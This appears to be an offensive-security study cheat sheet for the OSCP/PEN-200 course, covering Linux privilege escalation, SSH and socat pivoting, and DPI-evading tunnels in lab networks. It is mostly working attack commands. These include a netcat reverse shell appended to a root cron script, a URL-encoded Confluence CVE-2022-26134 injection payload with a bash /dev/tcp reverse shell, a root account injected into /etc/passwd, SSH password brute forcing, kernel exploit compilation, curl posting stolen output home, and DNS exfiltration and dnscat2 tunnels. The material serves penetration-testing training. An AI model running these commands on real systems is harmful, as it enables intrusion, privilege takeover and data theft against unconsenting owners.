# other abusable privileges named: SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeDebug (not covered in the course)

Windows Privesc Decision Table

FindingPath
Password in a file, history or transcriptnet user <USER2>, then RDP / evil-winrm / runas as that user, enumerate again
.kdbx filecrack it (section 10), spray the entries
Service binary with (F), (M) or (W) for youreplace binary, net stop/Start-Service, or shutdown /r /t 0 with SeShutdown + StartMode Auto
App with known missing DLL, writable install dirDLL hijack, wait for a privileged user to launch it
Unquoted path with a writable intermediate directorydrop <FirstWord>.exe, Start-Service
Task runs as admin/SYSTEM, writable action filereplace it, wait for the next trigger
Missing security KB with a public EoPkernel exploit (with source, tested first)
SeImpersonatePrivilege.\SigmaPotato "<cmd>"
Admin but Medium integrityUAC bypass (mentioned, not covered in this module)

12. Linux Privilege Escalation

Linux Privesc Theory

Everything on Linux is a file with read, write and execute bits for owner, group and others; on a directory, x means you can traverse it and w means you can create or delete files in it. UID 0 is root and regular users start at 1000. A SUID binary runs with the file owner's effective UID, and capabilities give part of root's power to a single binary. The course order is: manual baseline enumeration, an automated scan, credentials in env/dotfiles/history and process command lines, insecure file permissions (cron scripts, /etc/passwd), insecure components (SUID, capabilities, sudo), and kernel exploits last. Run sudo -l again for every new user.

# r/w/x for owner, group, others; first character is the file type
kali@kali:~$ ls -l /etc/shadow
# -rw-r----- 1 root shadow 1751 May 2 09:31 /etc/shadow

Manual Enumeration: User and System

# when: first minute on every Linux foothold. Current user and groups (sudo, adm, lxd ...)
joe@debian-privesc:~$ id
# uid=1000(joe) gid=1000(joe) groups=1000(joe),24(cdrom),...

# all users: home dir + /bin/bash = real user to target; www-data, sshd hint at installed services
# fields: login:password(x = in shadow):UID:GID:comment:home:shell. A hash in field 2 is valid and beats /etc/shadow
joe@debian-privesc:~$ cat /etc/passwd
# eve:x:1001:1001:,,,:/home/eve:/bin/bash

# real hostname (do not trust the prompt); the name hints the role
joe@debian-privesc:~$ hostname

# distro, codename, kernel, architecture: needed before any kernel exploit
joe@debian-privesc:~$ cat /etc/issue
joe@debian-privesc:~$ cat /etc/os-release
joe@debian-privesc:~$ uname -a
# Linux debian-privesc 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64 GNU/Linux

Manual Enumeration: Processes and Network

# all processes incl. root's: a = all users, x = no tty, u = readable format. Research root daemons
joe@debian-privesc:~$ ps aux

# interfaces (or ifconfig): a second network = pivot candidate (section 13)
joe@debian-privesc:~$ ip a
# inet 172.16.60.214/24 brd 172.16.60.255 scope global ens224

# routes (or route); a "shift: can't shift that many" error from routel is harmless
joe@debian-privesc:~$ routel

# connections and listeners (or netstat -anp): services on 127.0.0.1 only = local attack surface
joe@debian-privesc:~$ ss -anp
# tcp LISTEN 0 5 127.0.0.1:631 0.0.0.0:*

# firewall rules without root (iptables itself needs root); also look for iptables-save files in /etc
joe@debian-privesc:~$ cat /etc/iptables/rules.v4
# -A INPUT -p tcp -m tcp --dport 1999 -j ACCEPT   (allowed ports also matter for later tunnels)

Manual Enumeration: Cron, Packages, Writable Paths, Mounts, Modules

# scheduled jobs: cron.daily/hourly/weekly/monthly, cron.d, /etc/crontab (admin jobs, usually root)
joe@debian-privesc:~$ ls -lah /etc/cron*
joe@debian-privesc:~$ cat /etc/crontab
joe@debian-privesc:~$ crontab -l
# if sudo allows it: lists root's jobs (a listing only, not a root shell)
joe@debian-privesc:~$ sudo crontab -l
# * * * * * /bin/bash /home/joe/.scripts/user_backups.sh

# installed packages and versions (Red Hat: rpm)
joe@debian-privesc:~$ dpkg -l
# ii apache2 2.4.38-3+deb10u7 amd64 Apache HTTP Server

# directories you can write to: look for ones holding scripts that root runs
joe@debian-privesc:~$ find / -writable -type d 2>/dev/null
# /home/joe/.scripts

# mounted and mountable drives: unmounted partitions may hold creds or documents
joe@debian-privesc:~$ cat /etc/fstab
joe@debian-privesc:~$ mount
joe@debian-privesc:~$ lsblk

# kernel modules, then version of one (modinfo needs the full path) for exploit search
joe@debian-privesc:~$ lsmod
joe@debian-privesc:~$ /sbin/modinfo libata
# version: 3.00

SUID and Capabilities Enumeration

# SUID binaries: look up every non-standard one on GTFOBins
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null

# binaries with capabilities: cap_setuid+ep on an interpreter = root
joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null
# /usr/bin/perl = cap_setuid+ep

# allowed sudo commands for the current user (GTFOBins again); (ALL : ALL) ALL = sudo -i
joe@debian-privesc:~$ sudo -l
# (ALL) (ALL) /usr/bin/crontab -l, /usr/sbin/tcpdump, /usr/bin/apt-get

Automated Linux Enumeration

# when: after the manual baseline. unix-privesc-check ships with Kali at /usr/bin/unix-privesc-check
kali@kali:~$ unix-privesc-check
# Usage: unix-privesc-check { standard | detailed }

# transfer it, then run the fast mode (detailed = slower, more false positives)
joe@debian-privesc:~$ ./unix-privesc-check standard > output.txt
# WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd

# LinPEAS and LinEnum are the other tools the course names (linpeas.sh ships in the Kali peass package,
# next to winPEAS under /usr/share/peass/); they miss one-off custom configs, so always check by hand too

Inspecting User Trails

# when: low-hanging fruit, right after enumeration. Environment variables and dotfiles
joe@debian-privesc:~$ env
# SCRIPT_CREDENTIALS=lab
joe@debian-privesc:~$ cat .bashrc
# export SCRIPT_CREDENTIALS="lab"
# also read history files and other dotfiles in every home you can reach

# try every found password on root and on the other users
joe@debian-privesc:~$ su - root
# root@debian-privesc:~# whoami -> root
# found password follows a pattern: build variations (min 6, max 6, % = digit) and brute force another user
kali@kali:~$ crunch 6 6 -t Lab%%% > wordlist
kali@kali:~$ hydra -l eve -P wordlist <TARGET> -t 4 ssh -V
# [22][ssh] host: <TARGET> login: eve password: Lab123
kali@kali:~$ ssh eve@<TARGET>

# new user = new sudo -l
eve@debian-privesc:~$ sudo -l
# (ALL : ALL) ALL
eve@debian-privesc:~$ sudo -i

Inspecting Service Footprints

# when: root daemons may pass credentials on the command line, which every user can see
joe@debian-privesc:~$ watch -n 1 "ps -aux | grep pass"
# root ... sh -c sshpass -p 'Lab123' ssh -t eve@127.0.0.1 'sleep 5;exit'

# sudo rights on tcpdump: sniff loopback for cleartext creds (-i lo loopback, -A ASCII)
joe@debian-privesc:~$ sudo tcpdump -i lo -A | grep "pass"
# ...{...zuser:root,pass:lab -

Abusing Cron Jobs

# when: a root cron job runs a script you can write. Find running jobs in syslog (or /var/log/cron.log)
joe@debian-privesc:~$ grep "CRON" /var/log/syslog
# CRON[918]: (root) CMD (/bin/bash /home/joe/.scripts/user_backups.sh)

# content and permissions of the script
joe@debian-privesc:~$ cat /home/joe/.scripts/user_backups.sh
joe@debian-privesc:~$ ls -lah /home/joe/.scripts/user_backups.sh
# -rwxrwxrw- 1 root root 49 Aug 25 05:12 /home/joe/.scripts/user_backups.sh   (world-writable)

# append a reverse shell
joe@debian-privesc:~$ cd .scripts
joe@debian-privesc:~/.scripts$ echo >> user_backups.sh
joe@debian-privesc:~/.scripts$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 1234 >/tmp/f" >> user_backups.sh
joe@debian-privesc:~/.scripts$ cat user_backups.sh

# listener on Kali: the job runs every minute
kali@kali:~$ nc -lnvp 1234
# # id
# uid=0(root) gid=0(root) groups=0(root)

Abusing a Writable /etc/passwd

# when: unix-privesc-check or ls -l shows /etc/passwd writable. A hash in field 2 takes precedence over /etc/shadow
# generate a crypt hash (algorithm differs by system: DES on old ones, MD5 on some new ones)
joe@debian-privesc:~$ openssl passwd w00t
# Fdzt.eqJQ4s0g

# add a second UID 0 / GID 0 user and switch to it
joe@debian-privesc:~$ echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
joe@debian-privesc:~$ su root2
# Password: w00t
# uid=0(root) gid=0(root) groups=0(root)

Abusing SUID Binaries

# how SUID works: leave passwd running in a second shell, it runs with effective UID 0
joe@debian-privesc:~$ ls -asl /usr/bin/passwd
# -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
joe@debian-privesc:~$ ps u -C passwd
# Uid line fields: real, effective, saved set, filesystem
joe@debian-privesc:~$ grep Uid /proc/1932/status
# Uid: 1000 0 0 0

# when: find has the SUID bit. -p keeps the effective UID instead of dropping it
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
# bash-5.0# id
# uid=1000(joe) gid=1000(joe) euid=0(root)
# other SUID binaries: GTFOBins (e.g. a SUID cp lets you overwrite /etc/passwd)

Abusing Capabilities

# when: getcap shows cap_setuid+ep on perl (GTFOBins payload); locale warnings are harmless
joe@debian-privesc:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# # id
# uid=0(root) gid=1000(joe)

Abusing Sudo

# when: sudo -l lists tcpdump. GTFOBins postrotate trick
joe@debian-privesc:~$ COMMAND='id'
joe@debian-privesc:~$ TF=$(mktemp)
joe@debian-privesc:~$ echo "$COMMAND" > $TF
joe@debian-privesc:~$ chmod +x $TF
joe@debian-privesc:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
# compress_savefile: execlp(/tmp/tmp.c5hrJ5UrsF, /dev/null) failed: Permission denied

# a GTFOBins payload fails: check syslog for an AppArmor denial, then move to the next sudo command
joe@debian-privesc:~$ cat /var/log/syslog | grep tcpdump
# apparmor="DENIED" operation="exec" profile="/usr/sbin/tcpdump"
# (aa-status lists enforced profiles but needs root; AppArmor is on by default in Debian 10)
# when: sudo -l lists apt-get. changelog opens the less pager; !/bin/sh in the pager spawns a root shell
joe@debian-privesc:~$ sudo apt-get changelog apt
!/bin/sh
# # id
# uid=0(root) gid=0(root) groups=0(root)

Linux Kernel Exploits

# when: last resort. Match distro AND kernel AND architecture, or the box can crash
joe@ubuntu-privesc:~$ cat /etc/issue
# Ubuntu 16.04.4 LTS
joe@ubuntu-privesc:~$ uname -r
# 4.4.0-116-generic
joe@ubuntu-privesc:~$ arch
# x86_64

# search with distro + kernel keywords and filter out versions that do not fit
kali@kali:~$ searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c

# read the header for the compile line
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .
kali@kali:~$ head 45010.c -n 20
# gcc cve-2017-16995.c -o cve-2017-16995
kali@kali:~$ mv 45010.c cve-2017-16995.c

# compile on the target when it has gcc (right libraries, no cross-compile issues), verify, run
kali@kali:~$ scp cve-2017-16995.c joe@<TARGET>:
joe@ubuntu-privesc:~$ gcc cve-2017-16995.c -o cve-2017-16995
joe@ubuntu-privesc:~$ file cve-2017-16995
# ELF 64-bit LSB executable, x86-64
joe@ubuntu-privesc:~$ ./cve-2017-16995
# [*] credentials patched, launching shell...
# # id -> uid=0(root)

Linux Privesc Decision Table

FindingPath
Password in env, .bashrc, history, ps outputsu - root, su - <USER>, SSH as other users, sudo -l
Password pattern (Lab + digits)crunch 6 6 -t Lab%%% + hydra -l <USER> -P wordlist <TARGET> -t 4 ssh -V
sudo on tcpdumpsudo tcpdump -i lo -A | grep "pass", GTFOBins -z trick (AppArmor may block)
(ALL : ALL) ALLsudo -i
sudo apt-getsudo apt-get changelog apt, then !/bin/sh
Writable script in a root cron jobappend the mkfifo nc reverse shell, nc -lnvp 1234
Writable /etc/passwdopenssl passwd, append root2:<hash>:0:0:root:/root:/bin/bash, su root2
SUID findfind <dir> -exec "/usr/bin/bash" -p \;
Other SUID binaryGTFOBins
cap_setuid+ep on perlperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Old kernel, nothing elsesearchsploit by distro + kernel, compile on target, file, run

13. Port Redirection and SSH Tunneling

Tunneling Theory

Port redirection relays packets from a socket you can reach to one you cannot; tunneling wraps one protocol inside another (here, everything inside SSH). Choose by constraint. If Kali can reach a port you bind on the pivot, use socat, ssh -L or ssh -D. If inbound is blocked but outbound SSH works, use ssh -R so Kali listens. For many hosts or ports, use a dynamic (SOCKS) variant plus proxychains, or sshuttle. On a Windows pivot, use ssh.exe if present, else Plink, else netsh as admin. If DPI blocks SSH itself, go to section 14.

# exam: no Metasploit/Meterpreter pivoting (autoroute, socks_proxy) because it touches more than one machine;
# use the SSH / socat / plink / netsh tools below
# unprivileged users cannot bind below 1024: the course uses 2345, 2222, 4455, 9999, 9998, 9833

Pivot Enumeration

# when: on every foothold. A second NIC or route = internal network to reach (Windows: ipconfig /all, route print)
confluence@confluence01:~$ ip addr
confluence@confluence01:~$ ip route
# 10.4.50.0/24 dev ens224 proto kernel scope link src 10.4.50.63

# app config files name internal hosts and creds (Confluence DB here)
confluence@confluence01:~$ cat /var/atlassian/application-data/confluence/confluence.cfg.xml
# hibernate.connection.password D@t4basePassw0rd! / url jdbc:postgresql://10.4.50.215:5432/confluence / user postgres

# no port scanner on the pivot: sweep one port with nc (-z no data, -w 1 one-second timeout)
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
# Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
# "Connection refused" = host up, port closed; timeout = probably nothing there

# which tools exist on the pivot: socat, ssh (version >= 7.6 for remote dynamic), python3 (sshuttle)
confluence@confluence01:~$ which socat ssh python3

Confluence Foothold for the Pivot Lab

# course entry point: CVE-2022-26134 OGNL injection (Rapid7 PoC). Edit only IP and port in the PoC;
# never URL-encode the whole payload: ".", "-" and "/" must stay as they are
kali@kali:~$ nc -nvlp 4444
kali@kali:~$ curl http://<TARGET>:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/<LHOST>/4444%200%3E%261%27%29.start%28%29%22%29%7D/
# confluence@confluence01:/opt/atlassian/confluence/bin$ id
# uid=1001(confluence)
# decoded: /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/<LHOST>/4444 0>&1').start()")}/

Socat Port Forward

# when: the pivot has socat (or you upload a static binary), Kali can reach a pivot port, one destination socket
# -ddd verbose, fork = new subprocess per connection instead of exiting after one
confluence@confluence01:~$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
# socat[46589] N listening on AF=2 0.0.0.0:2345

# use it from Kali: PostgreSQL through the pivot
kali@kali:~$ psql -h <PIVOT> -p 2345 -U postgres
postgres=# \l
postgres=# \c confluence
confluence=# select * from cwd_user;
# Confluence users with {PKCS5S2} hashes: crack as Atlassian PBKDF2-HMAC-SHA1
kali@kali:~$ hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt
# {PKCS5S2}QkXnkm...:sqlpass123

# kill the old socat and forward SSH instead, then reuse the cracked creds
confluence@confluence01:~$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
kali@kali:~$ ssh database_admin@<PIVOT> -p2222
# alternatives named by the course: rinetd, netcat + FIFO, iptables (root, echo 1 > /proc/sys/net/ipv4/conf/<if>/forwarding)

SSH Local Port Forward

# when: the pivot can SSH to an internal SSH server and Kali can reach a pivot port; one destination socket
# syntax: -L [LOCAL_IP:]LOCAL_PORT:DEST_IP:DEST_PORT. ssh prompts need a TTY: spawn one first
confluence@confluence01:~$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
# -N = no remote shell, no output is normal (-v to debug); this shell is now busy

# verify from a second reverse shell on the pivot
confluence@confluence01:~$ ss -ntplu
# tcp LISTEN 0 128 0.0.0.0:4455 ... users:(("ssh",pid=59288,fd=4))

# use it from Kali (the SMB1 workgroup reconnect error at the end is harmless)
kali@kali:~$ smbclient -p 4455 -L //<PIVOT>/ -U hr_admin --password=Welcome1234
kali@kali:~$ smbclient -p 4455 //<PIVOT>/scripts -U hr_admin --password=Welcome1234
smb: \> get Provisioning.ps1

SSH Dynamic Port Forward and Proxychains

# when: same reachability as -L but you need many hosts/ports: the pivot listens as a SOCKS proxy
confluence@confluence01:~$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

# replace the proxy line at the end of /etc/proxychains4.conf ([ProxyList]); socks4 also works with SSH
kali@kali:~$ tail /etc/proxychains4.conf
socks5 <PIVOT> 9999
# lower tcp_read_time_out and tcp_connect_time_out in the same file: scans get much faster

# any dynamically linked tool, addressed as if you were inside (static binaries ignore proxychains)
kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
# [proxychains] Strict chain ... <PIVOT>:9999 ... 172.16.50.217:445 ... OK

# nmap through proxychains: connect scan only (-sT), no ping (-Pn), few ports; nmap --proxies is not for scanning
kali@kali:~$ sudo proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

SSH Remote Port Forward

# when: inbound to the pivot is blocked but the pivot can SSH out to Kali; one destination socket
# start the Kali SSH server (strong kali password; may need PasswordAuthentication yes in /etc/ssh/sshd_config)
kali@kali:~$ sudo systemctl start ssh
kali@kali:~$ sudo ss -ntplu
# tcp LISTEN 0 128 0.0.0.0:22 ... sshd

# on the pivot: -R listening socket (on Kali) first, then the destination
confluence@confluence01:~$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@<LHOST>

# on Kali
kali@kali:~$ ss -ntplu
# tcp LISTEN 0 128 127.0.0.1:2345
kali@kali:~$ psql -h 127.0.0.1 -p 2345 -U postgres

SSH Remote Dynamic Port Forward

# when: only outbound SSH and many destinations; needs OpenSSH client >= 7.6 on the pivot (server version irrelevant)
confluence@confluence01:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
confluence@confluence01:~$ ssh -N -R 9998 kali@<LHOST>
# one argument only: SOCKS port on Kali's loopback

kali@kali:~$ sudo ss -ntplu
# tcp LISTEN 0 128 127.0.0.1:9998 ... sshd
# /etc/proxychains4.conf:
socks5 127.0.0.1 9998
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
# Windows targets scan slower through the tunnel

sshuttle

# when: you have direct SSH to a host in front of internal subnets; works like a VPN, no proxychains
# needs root on Kali and python3 on the SSH server. Course forwards SSH through socat first
confluence@confluence01:~$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
kali@kali:~$ sshuttle -r database_admin@<PIVOT>:2222 10.4.50.0/24 172.16.50.0/24
# c : Connected to server.   ("Failed to flush caches" DNS warnings are harmless)

# tools now reach the subnets directly
kali@kali:~$ smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

Windows ssh.exe

# when: Windows pivot with the OpenSSH client (bundled since Windows 10 1803) at C:\Windows\System32\OpenSSH
kali@kali:~$ sudo systemctl start ssh
kali@kali:~$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:<TARGET>
C:\Users\rdp_admin>where ssh
C:\Users\rdp_admin>ssh.exe -V
# OpenSSH_for_Windows_8.1p1 (>= 7.6, so remote dynamic works)
C:\Users\rdp_admin>ssh -N -R 9998 kali@<LHOST>
# Kali: proxychains4.conf "socks5 127.0.0.1 9998", then tools through proxychains
kali@kali:~$ proxychains psql -h 10.4.50.215 -U postgres
# when: Windows pivot without OpenSSH, shell only (web shell as iis apppool\defaultapppool here). No remote dynamic support
kali@kali:~$ sudo systemctl start apache2
kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/
kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/

# from the web shell: fetch nc.exe and get a real shell
powershell wget -Uri http://<LHOST>/nc.exe -OutFile C:\Windows\Temp\nc.exe
kali@kali:~$ nc -nvlp 4446
C:\Windows\Temp\nc.exe -e cmd.exe <LHOST> 4446

# fetch plink and forward Kali 127.0.0.1:9833 -> the pivot's own RDP (-pw may be logged: use a forwarding-only Kali user)
c:\windows\system32\inetsrv>powershell wget -Uri http://<LHOST>/plink.exe -OutFile C:\Windows\Temp\plink.exe
c:\windows\system32\inetsrv>C:\Windows\Temp\plink.exe -ssh -l kali -pw <KALI_PASS> -R 127.0.0.1:9833:127.0.0.1:3389 <LHOST>
# non-interactive shell cannot answer "Store key in cache? (y/n)": pipe the answer in
cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <KALI_PASS> -R 127.0.0.1:9833:127.0.0.1:3389 <LHOST>

# Kali: RDP through the tunnel
kali@kali:~$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833

Netsh Portproxy

# when: you are admin on a Windows pivot (UAC: elevated cmd) and want a native forward with no upload
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<PIVOT> connectport=22 connectaddress=10.4.50.215
C:\Windows\system32>netstat -anp TCP | find "2222"
C:\Windows\system32>netsh interface portproxy show all

# shows "filtered" from Kali until you add an inbound firewall rule
kali@kali:~$ sudo nmap -sS <PIVOT> -Pn -n -p2222
C:\Windows\system32> netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<PIVOT> localport=2222 action=allow
kali@kali:~$ ssh database_admin@<PIVOT> -p2222

# clean up both artifacts afterwards (portproxy has no PowerShell equivalent)
C:\Users\Administrator>netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
C:\Windows\Administrator> netsh interface portproxy del v4tov4 listenport=2222 listenaddress=<PIVOT>

Forwarding Type Matrix

TechniqueCommand shapeListener onDestinationsNeeds
Socatsocat TCP-LISTEN:<lport>,fork TCP:<dip>:<dport>pivotone socketsocat on pivot, Kali reaches pivot
SSH localssh -N -L [lip:]lport:dip:dport user@sshserverpivot (SSH client)one socketinternal SSH creds, Kali reaches pivot
SSH dynamicssh -N -D [lip:]lport user@sshserverpivot (SOCKS)anyproxychains, Kali reaches pivot
SSH remotessh -N -R [lip:]lport:dip:dport kali@<LHOST>Kalione socketoutbound SSH, Kali sshd
SSH remote dynamicssh -N -R lport kali@<LHOST>Kali loopback (SOCKS)anyOpenSSH client >= 7.6
sshuttlesshuttle -r user@host:port <subnet> <subnet>Kali routeslisted subnetsroot on Kali, python3 on server
ssh.exessh -N -R 9998 kali@<LHOST>Kali (SOCKS)anyWindows 10 1803+
Plinkplink.exe -ssh -l kali -pw <KALI_PASS> -R lip:lport:dip:dport <LHOST>Kalione socketupload plink.exe
Netshnetsh interface portproxy add v4tov4 ...Windows pivotone socketlocal admin, firewall rule

Common alternative, not in the course: ligolo-ng runs a proxy on Kali and an agent on the pivot, and routes whole subnets through a TUN interface without proxychains. Typical flow: create the ligolo TUN interface on Kali, start proxy -selfcert, run agent -connect <LHOST>:11601 -ignore-cert on the pivot, then sudo ip route add <SUBNET> dev ligolo. Use it only when the course tools above do not fit the constraint.

14. Tunneling Through Deep Packet Inspection

Theory: tunnels that pass inspection

Deep packet inspection (DPI) looks at traffic content, not just ports, and is usually enforced at the perimeter: a typical policy allows only HTTP(S) and DNS out and drops everything else, which kills plain reverse shells and SSH port forwards. The course answer is to wrap the tunnel in a protocol the firewall does allow: Chisel when outbound HTTP works, dnscat2 when only DNS resolution works. Order of attempts across modules 19 and 20: direct SSH/socat tunnels first, Chisel over HTTP if SSH is blocked, DNS tunneling as the last resort. None of these tunnels count as Metasploit use, so they are allowed on every exam target.

Finding out what leaves the network

# Does the target reach Kali over HTTP? Serve something and watch the Apache log.
kali@kali:~$ sudo systemctl start apache2
kali@kali:~$ tail -f /var/log/apache2/access.log
# On the target (through your shell or command injection):
wget <KALI_IP>/test -O /dev/null
curl http://<KALI_IP>/test

# Watch for any inbound packets on the VPN interface while the target tries to connect
kali@kali:~$ sudo tcpdump -nvvvXi tun0 tcp port 8080

# Blind command execution with no output: write output to a file and POST it home
<cmd> &> /tmp/output; curl --data @/tmp/output http://<KALI_IP>:8080/

# Which resolver does the internal Linux host use? (systemd-resolved stub is 127.0.0.53)
database_admin@pgdatabase01:~$ resolvectl status
# Can it resolve a name under a domain you control? Watch the authoritative server:
kali@felineauthority:~$ sudo tcpdump -i ens192 udp port 53
database_admin@pgdatabase01:~$ nslookup exfiltrated-data.feline.corp

HTTP tunneling with Chisel (only HTTP egress allowed)

# Chisel is one binary for server and client; traffic is HTTP WebSocket with SSH encryption inside.
# 1. Serve the client binary from Kali's web root
kali@kali:~$ sudo cp $(which chisel) /var/www/html/
kali@kali:~$ sudo systemctl start apache2

# 2. Target downloads it (run via your shell or injection)
wget <KALI_IP>/chisel -O /tmp/chisel && chmod +x /tmp/chisel

# 3. Kali: server with reverse tunnelling enabled (R: remotes bind on the server side)
kali@kali:~$ chisel server --port 8080 --reverse

# 4. Target: reverse SOCKS proxy, backgrounded so a web request does not hang
/tmp/chisel client <KALI_IP>:8080 R:socks > /dev/null 2>&1 &

# 5. Verify on Kali: server logs "tun: proxy#R:127.0.0.1:1080=>socks: Listening" and the port is bound
kali@kali:~$ ss -ntplu
# tcp LISTEN 0 4096 127.0.0.1:1080 ... users:(("chisel",...))

# 6. Use it. SSH has no SOCKS flag: go through ncat (Kali's netcat cannot proxy)
kali@kali:~$ sudo apt install ncat
kali@kali:~$ ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

# Other tools: proxychains with the chisel SOCKS port
kali@kali:~$ tail /etc/proxychains4.conf
# [ProxyList]
# socks5 127.0.0.1 1080
kali@kali:~$ sudo proxychains nmap -sT -Pn -p 22,445,3389 10.4.50.215
# Chisel reverse port forward instead of SOCKS (single internal service, like ssh -R)
# Kali side keeps: chisel server --port 8080 --reverse
/tmp/chisel client <KALI_IP>:8080 R:4455:10.4.50.215:8008 > /dev/null 2>&1 &
# Now http://127.0.0.1:4455 on Kali reaches 10.4.50.215:8008

# Chisel forward (client side opens the listener, like ssh -L): client runs on Kali, server on a host you can reach
kali@kali:~$ chisel client <PIVOT_IP>:8080 8445:172.16.5.200:445
# Troubleshooting: client dies silently through blind injection -> ship the error output home
/tmp/chisel client <KALI_IP>:8080 R:socks &> /tmp/output; curl --data @/tmp/output http://<KALI_IP>:8080/
# "GLIBC_2.32 / GLIBC_2.34 not found" = Kali's chisel (Go 1.20+) is too new for the target's libc.
# Use the official 1.8.1 release (built with Go 1.19) and serve that instead
kali@kali:~$ wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
kali@kali:~$ gunzip chisel_1.8.1_linux_amd64.gz
kali@kali:~$ sudo cp ./chisel /var/www/html
# "Client version (1.8.1) differs from server version" is informational only.
# Windows targets: download the windows_amd64 release and run chisel.exe client the same way.

DNS exfiltration and infiltration (concept, dnsmasq)

# You control the authoritative name server for a zone (feline.corp in the course).
# Minimal dnsmasq config: no local resolution, answer authoritatively for the zone
kali@felineauthority:~/dns_tunneling$ cat dnsmasq.conf
no-resolv
no-hosts
auth-zone=feline.corp
auth-server=feline.corp
kali@felineauthority:~/dns_tunneling$ sudo dnsmasq -C dnsmasq.conf -d        # -C config, -d foreground

# Exfiltration: every query for <data>.feline.corp reaches the authoritative server through the internal resolver
database_admin@pgdatabase01:~$ nslookup exfiltrated-data.feline.corp
kali@felineauthority:~$ sudo tcpdump -i ens192 udp port 53
# Binary exfil = hex-encode, chunk, query <chunk>.feline.corp, reassemble from the logs

# Infiltration: put data in TXT records and read them from the inside
# add to dnsmasq_txt.conf:
txt-record=www.feline.corp,here's something useful!
kali@felineauthority:~/dns_tunneling$ sudo dnsmasq -C dnsmasq_txt.conf -d
database_admin@pgdatabase01:~$ nslookup -type=txt www.feline.corp
# Stale answers: resolvectl flush-caches, or query the resolver by IP: nslookup -type=txt www.feline.corp 10.4.50.64

DNS tunneling with dnscat2 (only DNS resolution works)

# Server on the authoritative name server (stop dnsmasq first, both want UDP/53)
kali@felineauthority:~$ dnscat2-server feline.corp
# prints the two client forms, including a --secret value

# Client on the internal host (binary copied over earlier, for example with scp through an SSH tunnel)
database_admin@pgdatabase01:~/dnscat$ ./dnscat feline.corp
# or straight to the server IP when the host can reach it on UDP/53:
database_admin@pgdatabase01:~/dnscat$ ./dnscat --dns server=<SERVER_IP>,port=53 --secret=<SECRET>
# Both sides print an authentication string ("Annoy Mona Spiced Outran Stump Visas"); confirm they match.

# Server console
dnscat2> windows
dnscat2> window -i 1
command (pgdatabase01) 1> ?             # clear delay download echo exec listen ping shell upload ...
command (pgdatabase01) 1> listen --help
# Local port forward through DNS (works like ssh -L): server 127.0.0.1:4455 -> internal 172.16.2.11:445
command (pgdatabase01) 1> listen 127.0.0.1:4455 172.16.2.11:445
kali@felineauthority:~$ smbclient -p 4455 -L //127.0.0.1 -U hr_admin --password=Welcome1234
# Ctrl+Z backgrounds a window. Expect it to be slow and noisy (TXT, CNAME, MX queries).

Which tunnel

SituationToolKali / server sideTarget side
Arbitrary TCP egress or SSH allowedssh -L / -R / -D, socat, sshuttle (section 13)listener or sshdssh client
Only HTTP(S) leavesChiselchisel server --port 8080 --reversechisel client <KALI>:8080 R:socks
Only DNS resolution worksdnscat2dnscat2-server <zone> on the authoritative NS./dnscat <zone>
Single internal port neededChisel R:<lport>:<host>:<rport> or dnscat2 listen

15. The Metasploit Framework

Theory: Metasploit in PEN-200 and in the exam

